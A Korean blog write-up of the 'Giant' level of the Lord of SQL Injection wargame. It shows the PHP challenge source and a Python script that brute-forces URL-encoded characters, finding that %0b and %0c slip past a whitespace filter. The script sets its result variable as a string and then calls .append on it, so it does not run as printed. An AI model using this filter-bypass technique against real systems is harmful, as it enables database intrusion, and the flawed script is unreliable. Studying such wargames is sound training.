LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 Bugbear에 이어 Giant 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

Giant는 이전에 Bugbear에서 필터링된 white space와 같이 보다 다양한 공백문자 우회기법을 연구해보라는 의미에서 만들어준 것 같습니다.


찡긋.




 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>


위의 문제에서 5번 라인에서는 한 글자 이상 입력하지 말라는 필터링이 되어있습니다. 즉, 한 문자만으로 이 문제를 풀어야한다는 의미입니다.

또한 6번 라인에서는 기존에 입력할 수 있었던 개행문자들이나 tab문자가 필터링되어 있는 것을 볼 수 있습니다.


흠흠. 하지만 여기서 쉽게 생각할 수 있는 것은 이 문자는 ascii 코드 내에 있는 값 중 하나라는 것입니다.




 

 문제 풀이(코드)


먼저 ascii 값 중 하나 혹은 하나 이상일 것이라는 생각이 들었으니....

128번 브루투포싱 해보는 것이 좋지 않을까 싶습니다.

import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/giant_18a08c3be1d1753de0cb157703f75a5e.php?shit='
headers = {'Cookie': 'PHPSESSID=dgjmh5ubimr8iftnm5oodml4d1'}

# Find SingleWord  =============

Answer = ''

for i in range(0, 129):
    payload = "%" + str(hex(i)[2:].zfill(2))
    res     = sess.get(url=URL+payload, headers=headers, verify=False)

    if 'Clear!' in res.text:
        Answer.append(payload)
    else:
        pass

print('[=] Find Answer : %s' % Answer)


위의 소스는 0~128까지의 ascii 코드 값을 URL 인코딩된 상태로 한 문자씩 입력하여 전송하는 것입니다.

만약 문제가 풀렸다면 Clear! 라는 문자열이 나타날 것일 테니....


한 번 돌려봤습니다.


답은 다음과 같이 나타납니다.


[=] Find Answer : ['%0b', '%0c']


여기서 미처 필터링되지 않은 문자는 저 위의 두 가지가 되겠습니다.


+ Recent posts